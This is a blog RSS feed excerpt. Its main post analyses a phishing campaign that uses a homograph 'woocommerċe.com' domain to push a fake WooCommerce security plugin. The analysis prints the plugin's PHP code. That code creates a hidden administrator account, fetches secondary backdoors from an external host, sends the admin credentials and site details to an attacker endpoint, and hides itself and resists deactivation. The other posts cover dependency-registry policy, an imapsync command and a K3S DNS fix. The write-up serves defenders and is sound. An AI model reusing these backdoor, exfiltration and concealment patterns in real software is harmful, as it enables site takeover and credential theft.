<p class="wp-block-paragraph">This is not an argument for using these tools less. I use them constantly and they have changed how much I get done, particularly in that first pile, which turns out to be a larger share of real work than the framing about boilerplate suggests. It is an argument for being deliberate about which pile you are in, because the tool will not tell you and the output looks identical from the outside.</p>



<p class="wp-block-paragraph">The question worth asking before delegating anything is not whether the model can do it. It is how you will know if it did.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[When Letters Lie: Analyzing a Typical IDN Homograph Attack]]></title>
      <link>https://darkog.com/blog/analyzing-a-typical-idn-homograph-attack</link>
      <pubDate>Fri, 16 May 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Security]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/analyzing-a-typical-idn-homograph-attack</guid>
      <description><![CDATA[A client forwarded a suspicious security update email. The domain looked right. Character by character, it was not.]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/04/Homograph.png" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/04/Homograph.png" />
      <content:encoded><![CDATA[
<h2 class="wp-block-heading">Introduction</h2>



<p class="wp-block-paragraph">This article is a brief overview of IDN homograph attacks with a real-world case.</p>



<p class="wp-block-paragraph">A client recently forwarded a suspicious &#8220;security update&#8221; email. Upon investigation, it turned out to be part of a sophisticated phishing campaign targeting website owners. The attacker is trying to impersonate WooCommerce, claiming a critical vulnerability has been patched and urges recipients to download a fake &#8220;security update&#8221; which is actually a trap designed to compromise web stores running on WooCommerce.</p>



<h2 class="wp-block-heading">How it works</h2>



<p class="wp-block-paragraph">The attackers registered the domain &#8220;woocommerċe.com&#8221; (Notice anything unusual?). At first, this domain appears identical to the legitimate &#8220;woocommerce.com&#8221; website. However, there&#8217;s a critical difference: the second &#8220;c&#8221; in the malicious domain isn&#8217;t the standard Latin &#8220;c&#8221; character but rather &#8220;ċ&#8221; – a special character with a dot above it that looks nearly identical in most fonts and email clients.</p>



<p class="wp-block-paragraph">When users click links in these phishing emails, they&#8217;re directed to pages like:</p>



<pre class="wp-block-code"><code>https:&#47;&#47;woocommerċe.com/products/woocommerce-authbypass-update/</code></pre>



<p class="wp-block-paragraph">This page mimics WooCommerce&#8217;s official website and prompts users to download a &#8220;critical security patch&#8221; which is actually malicious software masked as a WooCommerce plugin.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="910" height="1024" src="https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-910x1024.png" alt="Phishing page with a Download link" class="wp-image-1859" srcset="https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-910x1024.png 910w, https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-267x300.png 267w, https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40-768x864.png 768w, https://media.darkog.com/uploads/2025/04/Screenshot-From-2025-04-22-23-21-40.png 1170w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<p class="wp-block-paragraph">For a comparison, the legitimate WooCommerce site doesn&#8217;t have this page at all:</p>



<pre class="wp-block-code"><code>https://woocommerce.com/products/woocommerce-authbypass-update/ (returns a 404 error)</code></pre>



<h2 class="wp-block-heading">What is a IDN Homograph attack</h2>



<p class="wp-block-paragraph">This technique is known as a <strong>IDN Homograph attack</strong> (also called an <strong>I</strong>nternationalized <strong>D</strong>omain <strong>N</strong>ame <strong>H</strong>omograph attack or Script Spoofing). It exploits the visual similarity between characters in different writing systems or alphabets to create convincing fake domains.</p>



<p class="wp-block-paragraph">In Unicode, there are many characters from different alphabets that look identical or nearly identical to Latin alphabet characters. For instance:</p>



<ul class="wp-block-list">
<li>The Cyrillic &#8220;о&#8221; looks like the Latin &#8220;o&#8221;</li>



<li>The Greek &#8220;ρ&#8221; resembles the Latin &#8220;p&#8221;</li>



<li>And as I&#8217;ve shown, the Latin &#8220;c&#8221; with a dot (ċ) looks just like a regular &#8220;c&#8221;</li>
</ul>



<p class="wp-block-paragraph">Browsers display these special characters in a way that makes the fraudulent domains nearly indistinguishable from legitimate ones. The attack is effective because:</p>



<ol class="wp-block-list">
<li>Most users don&#8217;t inspect URLs character by character</li>



<li>Email clients and browsers don&#8217;t highlight these subtle differences</li>



<li>The domains can obtain HTTPS certificates, showing the &#8220;secure&#8221; padlock icon</li>



<li>The websites can be exact visual copies of legitimate sites</li>
</ol>



<h2 class="wp-block-heading">Why IDN Homograph attacks are dangerous</h2>



<p class="wp-block-paragraph">This phishing campaign is especially concerning for several reasons:</p>



<ol class="wp-block-list">
<li>It specifically targets WooCommerce users, who typically run e-commerce businesses with valuable customer data and payment information.</li>



<li>By claiming to address a critical security vulnerability, the attackers create a sense of urgency that might override normal caution.</li>



<li>The &#8220;patch&#8221; is actually malicious software that could potentially:
<ul class="wp-block-list">
<li>Steal customer data and payment information</li>



<li>Capture admin credentials</li>



<li>Install backdoors for future access</li>



<li>Compromise the entire website or server</li>
</ul>
</li>



<li>The domain impersonation makes standard security advice like &#8220;check the URLs&#8221; less effective.</li>
</ol>



<h2 class="wp-block-heading">Under the Hood: What this malicious plugin does</h2>



<p class="wp-block-paragraph">I&#8217;ve obtained the actual malicious plugin code distributed through the link:</p>



<pre class="wp-block-code"><code>https:&#47;&#47;woocommerċe.com/download/authentication-bypass-fix?download</code></pre>



<p class="wp-block-paragraph"><em><strong>Disclaimer</strong>: Do not install this on your websites.</em></p>



<p class="wp-block-paragraph">Let&#8217;s analyze this malware to understand exactly how it works and what&#8217;s used to compromise websites.</p>



<h3 class="wp-block-heading">Plugin Header Fakery</h3>



<p class="wp-block-paragraph">The attackers carefully crafted the plugin header to appear legitimate:</p>



<pre class="wp-block-code"><code>// Plugin Name: Woo Vulnerability Fix
// Description: Essential security update for WooCommerce vulnerabilities.
// Version: v1.0.0
// Author: WooCommerce
// Author URI: https://woocommerce.com/</code></pre>



<p class="wp-block-paragraph">This professional presentation helps bypass the initial suspicion a site administrator might have when installing a plugin.</p>



<h3 class="wp-block-heading">Backdoor Creation</h3>



<p class="wp-block-paragraph">The core functionality of this malware is to create a persistent backdoor through multiple mechanisms:</p>



<h4 class="wp-block-heading">1. <strong>Hidden Administrator Account</strong>:</h4>



<p class="wp-block-paragraph">The plugin creates a new administrator user with a programmatically generated username and random password. The code snippet responsible for this:</p>



<pre class="wp-block-code"><code>function sortProfile899()
{
   $set="WP_User";
   $k = databaseManager856();  // Generates username based on site URL
   $m = queueAverage411();     // Generates random password
   $id = null;
   if (!username_exists($k)) {
       $o = wp_create_user($k, $m);
       if (!is_wp_error($o)) {
           $p = new $set($o);
           $ddf = "p";
           ${$ddf}-&gt;set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));  // "administrator" encoded
           parseHeap180($k, $m);
           $id = $p-&gt;ID;
       }
   } else {
       // If user exists, ensure they have admin privileges
       $r = get_user_by('login', $k);
       if ( $r &amp;&amp; !in_array( base64_decode('YWRtaW5pc3RyYXRvcg'), (array) $r-&gt;roles, true ) ) {
           $r-&gt;set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));
           $id = $r-&gt;ID;
       }
   }
   // Additional code to handle Wordfence admin
}</code></pre>



<h4 class="wp-block-heading">2. <strong>Secondary Backdoors</strong>:</h4>



<p class="wp-block-paragraph">The function <code>computeSaved755()</code> downloads additional malicious code from an external server and places it in the uploads directory with obfuscated filenames:</p>



<pre class="wp-block-code"><code>function computeSaved755() {
   $scanningToken = "aHR0cHM6Ly93b29jb21tZXJjZS1oZWxwLmNvbS9hY3RpdmF0ZQ";
   $contents = wp_remote_get(base64_decode($scanningToken), &#91;'timeout' =&gt; 30]);
   if ( !is_array( $contenchannelsts ) &amp;&amp; is_wp_error( $contents ) ) { return; }
   $detections = json_decode(base64_decode($contents&#91;'body']), true);
   for ($i=1;$i&lt;4;$i++) {
       $iteration = 'wp-cached-'.databaseManager856().strrev('php.'.$i);
       $index = 'Scan'.$i;
       $cnts = base64_decode($detections&#91;$index]);
       processDateTime421($iteration, $cnts);
   }
}</code></pre>



<p class="wp-block-paragraph">This creates files named with patterns like <code>wp-cached-[hash].i.php</code> (with reversed filename) to evade detection.</p>



<h3 class="wp-block-heading">Data Exfiltration</h3>



<p class="wp-block-paragraph">The plugin steals sensitive site information and sends it to an attacker-controlled server:</p>



<pre class="wp-block-code"><code>function parseHeap180($I, $J)
{
    $K = get_site_url(null, '', 'https');
    $L = collectComplete942();  // Gets IP address
    $N = sprintf("%s`%s`\n%s`%s`\n%s`%s`\n%s`%s`\n---", 
           base64_decode('c2l0ZXVybDog'), $K, 
           base64_decode('dXNlcjog'), $I, 
           base64_decode('cGFzczog'), $J, 
           base64_decode('aXAgYWRkcmVzczog'), $L, 
           base64_decode('YCBcbi0tLS0='));

    // Builds data package with site URL, admin username, password, and IP
    $P = &#91;base64_decode('dXNlcg') =&gt; $I, 'url' =&gt; $K, 
          base64_decode('cGFzcw') =&gt; $J, 'ip_address' =&gt; $L, 
          'iterations' =&gt; $iterations, 'siteurl' =&gt; base64_encode($N)];

    // Exfiltration endpoint (decoded: "https://wptechsolutions.org/wpapi")
    $O = "aHR0cHM6Ly93cHRlY2hzb2x1dGlvbnMub3JnL3dwYXBp";
    $Q = base64_decode($O) . '?' . http_build_query($P);
    $response = wp_remote_get($Q, &#91;'timeout' =&gt; 30]);
}</code></pre>



<p class="wp-block-paragraph">This function collects and transmits:</p>



<ul class="wp-block-list">
<li>The website URL</li>



<li>The backdoor admin username and password</li>



<li>The server&#8217;s IP address</li>



<li>Paths to the secondary backdoor files</li>
</ul>



<h3 class="wp-block-heading">Concealment Techniques</h3>



<p class="wp-block-paragraph">The attackers weren&#8217;t amateurs &#8211; their stealth game is strong. I&#8217;ve identified the following:</p>



<h4 class="wp-block-heading">1. <strong>Hidden User</strong></h4>



<p class="wp-block-paragraph"> The <u>backdoor admin user</u> is hidden from the WordPress users list by hooking this function into the <code>pre_user_query</code> WordPress filter:</p>



<pre class="wp-block-code"><code>function formatReport933($z)
{
   $A = databaseManager856();
   global $wpdb;
   $z-&gt;query_where .= $wpdb-&gt;prepare(" AND {$wpdb-&gt;users}.user_login != %s", $A);
}</code></pre>



<h4 class="wp-block-heading">2. <strong>Manipulated User Counts</strong></h4>



<p class="wp-block-paragraph">The total user and administrator counts are reduced by one to hide the <u>backdoor admin user</u> by hooking this function into the views_users WordPress filter:</p>



<pre class="wp-block-code"><code>function compressDate796($vjs)
{
   $osrs = count_users();
   $nmr = $osrs&#91;'avail_roles']&#91;'administrator'] - 1;
   $anmr = $osrs&#91;'total_users'] - 1;
   // Updates the displayed counts
}</code></pre>



<h4 class="wp-block-heading">3. <strong>Self-Protection</strong></h4>



<p class="wp-block-paragraph">The plugin prevents its own deactivation when the user hits &#8220;Deactivate&#8221; buttons:</p>



<pre class="wp-block-code"><code>function computeWorker455()
{
   wp_die('This plugin cannot be deactivated.');
}</code></pre>



<p class="wp-block-paragraph">And removes the delete link from the plugins page:</p>



<pre class="wp-block-code"><code>function dispatchMean595($smcnn, $plugin_file)
{
   $stoc = __FILE__;
   $stpc = call_user_func('plugin_basename', $stoc);
   if ($stpc === $plugin_file) {
       unset($smcnn&#91;'delete']);
   }
   return $smcnn;
};</code></pre>



<h4 class="wp-block-heading">4. <strong>Hidden Plugin</strong></h4>



<p class="wp-block-paragraph">The plugin hides itself from the WordPress plugins list:</p>



<pre class="wp-block-code"><code>function databaseInstruction266()
{
    global $current_user;
    $username = $current_user-&gt;user_login;
    if ($username == databaseManager856()) {
        return;
    }
    if (!is_plugin_active('woocommerce-update/woocommerce-update.php')) {
        return;
    }
    global $wp_list_table;
    $hidearr = array('woocommerce-update/woocommerce-update.php');
    $myplugins = $wp_list_table-&gt;items;
    foreach ($myplugins as $key =&gt; $val) {
        if (in_array($key, $hidearr)) {
            unset($wp_list_table-&gt;items&#91;$key]);
        }
    }
}</code></pre>



<h4 class="wp-block-heading">5. <strong>Persistent Access</strong> </h4>



<p class="wp-block-paragraph">Uses WordPress cron to maintain persistent access. The function <code>saveMatrix002</code> is called on every minute based on the securityStarted807 interval they registered in the plugin.</p>



<pre class="wp-block-code"><code>if (!wp_next_scheduled('saveMatrix022')) {
   wp_schedule_event(time(), 'securityStarted807', 'saveMatrix022');
}</code></pre>



<h3 class="wp-block-heading">Obfuscation Techniques</h3>



<p class="wp-block-paragraph">The malicious code uses several obfuscation techniques:</p>



<h4 class="wp-block-heading">1. <strong>Base64 Encoding</strong> </h4>



<p class="wp-block-paragraph">Sensitive strings are encoded to avoid detection:</p>



<ul class="wp-block-list">
<li>&#8216;administrator&#8217; → &#8216;YWRtaW5pc3RyYXRvcg&#8217;</li>



<li>&#8216;user&#8217; → &#8216;dXNlcg&#8217;</li>



<li>&#8216;pass&#8217; → &#8216;cGFzcw&#8217;</li>
</ul>



<h4 class="wp-block-heading">2. <strong>Misleading Function Names</strong></h4>



<p class="wp-block-paragraph">Functions like <code>roleChecker755</code>, <code>securityOptions253</code>, and <code>databaseManager856</code> suggest security-related operations while performing malicious actions.</p>



<h4 class="wp-block-heading">3. <strong>Variable Obfuscation</strong></h4>



<p class="wp-block-paragraph">Single-letter variable names and numeric suffixes make the code difficult to analyze:</p>



<pre class="wp-block-code"><code>$set="WP_User";
$k = databaseManager856();
$m = queueAverage411();
$ddf = "p";
${$ddf}-&gt;set_role(base64_decode('YWRtaW5pc3RyYXRvcg'));</code></pre>



<h4 class="wp-block-heading">4. <strong>Dynamic Variable References</strong></h4>



<p class="wp-block-paragraph">Uses PHP&#8217;s variable variables feature to obfuscate code:</p>



<pre class="wp-block-code"><code>$ddf = "p";
${$ddf}-&gt;set_role(...);  // References $p indirectly</code></pre>



<h2 class="wp-block-heading">The bigger picture: Supply Chain Attacks</h2>



<p class="wp-block-paragraph">This attack attempts to exploit the software supply chain. The mechanism by which legitimate software updates are distributed. By impersonating a trusted vendor (WooCommerce) and delivering fake updates, attackers target one of the most sensitive routes in software security.</p>



<p class="wp-block-paragraph">I will write more about Supply Chain attacks in future, but in meanwhile i&#8217;d suggest reading this <a href="https://www.cloudflare.com/learning/security/what-is-a-supply-chain-attack/#:~:text=Any%20attack%20that%20exploits%20or,in%20their%20tools%20and%20services." target="_blank" rel="noreferrer noopener nofollow">interesting article</a> by CloudFlare.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1024" height="1024" src="https://media.darkog.com/uploads/2025/05/supply-chain-attacks.png" alt="Supply chain attack Illustration" class="wp-image-1897" srcset="https://media.darkog.com/uploads/2025/05/supply-chain-attacks.png 1024w, https://media.darkog.com/uploads/2025/05/supply-chain-attacks-300x300.png 300w, https://media.darkog.com/uploads/2025/05/supply-chain-attacks-150x150.png 150w, https://media.darkog.com/uploads/2025/05/supply-chain-attacks-768x768.png 768w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">At the end of the day, IDN Homograph attacks are just another reminder that the cyber world requires a lot of caution. These attacks are fed with our habit of quickly clicking links without a second thought.</p>



<p class="wp-block-paragraph">When someone replaces letters in a perfectly legitimate domain  like &#8220;woocommerce.com&#8221; with similar-looking characters from other alphabets, your browser displays what looks identical to the real site but you&#8217;re actually on a completely different domain controlled by attackers.</p>



<p class="wp-block-paragraph">Remember: Avoid clicking on links directly&#8230; Take a moment to hover over links, type addresses directly, and question unexpected security alerts or requests. Your safety isn&#8217;t about paranoia, it&#8217;s about building simple habits that become second nature&#8230;</p>



<p class="wp-block-paragraph"><a href="https://en.wikipedia.org/wiki/IDN_homograph_attack"><br></a><br></p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Owning your dependency supply chain]]></title>
      <link>https://darkog.com/blog/owning-your-dependency-supply-chain</link>
      <pubDate>Tue, 08 Apr 2025 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Security]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/owning-your-dependency-supply-chain</guid>
      <description><![CDATA[Auditing a dependency tells you about the version you read. It says nothing about the one being published tonight.]]></description>
      <media:content url="https://media.darkog.com/uploads/2025/04/sec2-1024x384.webp" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2025/04/sec2-1024x384.webp" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">I wrote about the supply chain attack on the WordPress.org plugin repository when it was happening. Maintainer accounts were compromised, malicious updates were published under legitimate plugin names, and every site configured to update automatically pulled them. The interval between a bad release existing and a bad release running on your server was measured in hours.</p>



<p class="wp-block-paragraph">The advice that follows an incident like that is usually to audit your dependencies. I want to be blunt about why that advice is close to useless in this specific shape of attack, and what actually changes the outcome.</p>



<h2 class="wp-block-heading">Auditing does not operate at the speed of the problem</h2>



<p class="wp-block-paragraph">Auditing a dependency is a point-in-time statement about a version you have looked at. It says nothing about the version that will be published tonight.</p>



<p class="wp-block-paragraph">The attack does not rely on you having failed to review the package. It relies on the package being fine when you reviewed it and not fine afterwards, combined with a pipeline that fetches whatever is newest without asking. You cannot review your way out of a race you are not present for.</p>



<p class="wp-block-paragraph">So the useful question is not &#8220;is this dependency trustworthy&#8221;. It is &#8220;what stands between a new upstream release and my running system&#8221;, and for a great many setups the honest answer is nothing at all.</p>



<h2 class="wp-block-heading">What a private registry actually changes</h2>



<p class="wp-block-paragraph">Running your own package registry, with upstream proxied through it, changes one thing: the moment of entry becomes yours to control. Nothing enters your estate because it was published. It enters because it was promoted.</p>



<p class="wp-block-paragraph">That gives you three things worth having.</p>



<ul class="wp-block-list">

<li><strong>A gate.</strong> A new upstream version exists in the proxy but is not available to builds until something promotes it. That something can be a person, a delay, a scanner, or a policy. Any of them is better than none.</li>


<li><strong>Immutability of what you already have.</strong> A version you have consumed is stored by you. An upstream package that is deleted, retagged, or republished with different content does not change what your builds resolve.</li>


<li><strong>A single place to answer &#8220;who is using this&#8221;.</strong> When the next advisory lands, the question is which of your projects pulled the affected version. A registry you own can answer that. A public one cannot.</li>

</ul>



<h2 class="wp-block-heading">What it does not change, which matters more</h2>



<p class="wp-block-paragraph">A private registry does not detect a malicious release. It has no opinion about the contents of a package. If you promote a compromised version, you have distributed a compromised version efficiently to everything you own.</p>



<p class="wp-block-paragraph">It also does not remove your dependence on upstream maintainers, reduce the number of transitive packages you rely on, or tell you which of your dependencies is one unpaid volunteer away from an incident.</p>



<p class="wp-block-paragraph">And it adds a component you now own. If it is down, your builds fail. If its storage is lost and you have not kept the artefacts, you have replaced a public single point of failure with a private one that has a smaller operations team, which is you.</p>



<p class="wp-block-paragraph">So the registry is not a control by itself. It is the place where a control can exist. The control is the promotion policy, and a registry with an auto-promote-everything policy has bought you a mirror and an availability risk, nothing more.</p>



<h2 class="wp-block-heading">A policy that is actually sustainable</h2>



<p class="wp-block-paragraph">The failure mode of a strict policy is that someone disables it under deadline pressure. So the version I would defend is deliberately modest.</p>



<p class="wp-block-paragraph"><strong>Pin exact versions and commit the lock file.</strong> Free, and it is the single largest improvement available. A build that resolves to exactly what it resolved to yesterday is immune to tonight&#8217;s release regardless of anything else you do.</p>



<p class="wp-block-paragraph"><strong>Impose a quarantine window rather than a review.</strong> Nobody sustains manual review of every dependency bump. A rule that a version must have existed publicly for some number of days before promotion needs no human attention and catches the case that matters, because a malicious release is usually discovered fast and yanked. Time is doing the work that review would not have done.</p>



<p class="wp-block-paragraph"><strong>Turn off automatic updates in production for anything that executes code.</strong> This is the one that specifically addresses the incident I started with. Convenience was the vulnerability.</p>



<p class="wp-block-paragraph"><strong>Separate promotion from consumption.</strong> Developers pull from the registry. Something else, with different credentials, decides what the registry offers. If the same identity can do both, the boundary is decorative.</p>



<h2 class="wp-block-heading">Where the effort is worth it</h2>



<p class="wp-block-paragraph">I built a self-hosted Composer registry, so my bias is obvious. It is worth being clear that the case for it is not primarily security.</p>



<p class="wp-block-paragraph">The case is usually private packages, build reliability when upstream has a bad day, and knowing what you depend on. The supply chain benefit is real but conditional, and it arrives only if you use the gate the registry gives you. For a single small project, pinning versions and disabling automatic updates gets you most of the protection for none of the operational cost, and I would start there rather than with infrastructure.</p>



<p class="wp-block-paragraph">The thing I would not do is treat the registry as the answer and stop. That is how you end up with a well-run pipeline that distributes whatever it is given, which is a more efficient version of the original problem.</p>

]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Migrating email from one server to another with ImapSync and Docker]]></title>
      <link>https://darkog.com/blog/migrating-email-from-one-server-to-another-with-imapsync-and-docker</link>
      <pubDate>Tue, 16 Jul 2024 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Notes]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/migrating-email-from-one-server-to-another-with-imapsync-and-docker</guid>
      <description><![CDATA[IMAPSync is a command-line tool that efficiently synchronizes IMAP mailboxes between two servers. It is designed to copy emails from one mailbox to another without duplicating messages that already exist on the target server. This ensures a smooth and error-free migration process, making it a preferred choice for administrators. Docker is a platform that allows […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2024/07/W20sw-1024x491.png" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2024/07/W20sw-1024x491.png" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">IMAPSync is a command-line tool that efficiently synchronizes IMAP mailboxes between two servers. It is designed to copy emails from one mailbox to another without duplicating messages that already exist on the target server. This ensures a smooth and error-free migration process, making it a preferred choice for administrators.</p>



<p class="wp-block-paragraph">Docker is a platform that allows you to package and run applications in isolated environments called containers. By using Docker, you can run IMAPSync in a consistent and controlled environment, avoiding conflicts and dependencies that might arise from running the tool directly on your system. To migrate your emails using IMAPSync through Docker, you can use the following command:</p>



<pre class="wp-block-code"><code>docker run gilleslamiral/imapsync imapsync \
--host1 source.server.ip   --user1 info@yourmail.com --password1 'yourpass' \
--host2 target.server.ip   --user2 info@yourmail.com --password2 'yourpass' \
--automap "$@"</code></pre>



<p class="wp-block-paragraph">This command initiates the synchronization process, transferring emails from the source server to the target server efficiently and reliably.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How to change the DNS servers within K3S CoreDNS]]></title>
      <link>https://darkog.com/blog/how-to-change-the-dns-servers-within-k3s-coredns</link>
      <pubDate>Tue, 09 Jul 2024 00:00:00 GMT</pubDate>
      <dc:creator><![CDATA[Darko Gjorgjijoski]]></dc:creator>
      <category><![CDATA[Notes]]></category>
      <guid isPermaLink="true">https://darkog.com/blog/how-to-change-the-dns-servers-within-k3s-coredns</guid>
      <description><![CDATA[Recently, we set up a custom DNS server based on dnsmasq within our organization to handle internal DNS requests. However, i noticed that our K3S pods were not recognizing the internal hosts defined with the custom DNS server. Initially, i assumed that Kubernetes would use the operating system’s DNS configuration specified in /etc/resolv.conf, but i […]]]></description>
      <media:content url="https://media.darkog.com/uploads/2024/07/growtika-ZfVyuV8l7WU-unsplash-1024x576.jpg" medium="image" />
      <media:thumbnail url="https://media.darkog.com/uploads/2024/07/growtika-ZfVyuV8l7WU-unsplash-1024x576.jpg" />
      <content:encoded><![CDATA[
<p class="wp-block-paragraph">Recently, we set up a custom DNS server based on dnsmasq within our organization to handle internal DNS requests. However, i noticed that our K3S pods were not recognizing the internal hosts defined with the custom DNS server. Initially, i assumed that Kubernetes would use the operating system&#8217;s DNS configuration specified in <code>/etc/resolv.conf</code>, but i discovered that this was not the case. Instead, K3S&#8217;s DNS service, CoreDNS, uses its own internal DNS servers.</p>



<p class="wp-block-paragraph">I created a simple guide on how to configure K3S&#8217;s CoreDNS service to include the host&#8217;s nameservers defined in <code>/etc/resolv.con</code>f as well:</p>



<h2 class="wp-block-heading">1. Adjust k3s configuration</h2>



<p class="wp-block-paragraph">Append kubelet-arg in k3s/config.yaml that tells k3s to load the host&#8217;s machine /etc/resolv.conf file:</p>



<pre class="wp-block-code"><code>echo 'kubelet-arg:' &gt;&gt; /etc/rancher/k3s/config.yaml
echo '- "resolv-conf=/etc/resolv.conf"' &gt;&gt; /etc/rancher/k3s/config.yaml</code></pre>



<h2 class="wp-block-heading">2. Restart k3s service</h2>



<p class="wp-block-paragraph">Restart the k3s service so the config file gets loaded</p>



<pre class="wp-block-code"><code>systemctl restart k3s</code></pre>



<h2 class="wp-block-heading">3. Re-create CoreDNS pods</h2>



<p class="wp-block-paragraph">Lastly, we need to kill the CoreDNS related pods so they will be recreated and will include the newly appended DNS server.</p>



<pre class="wp-block-code"><code>kubectl get pod -n kube-system -l k8s-app=kube-dns --no-headers | awk '{print $1}' | xargs -I{} kubectl delete pod -n kube-system {}</code></pre>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
    </item>
  </channel>
</rss>
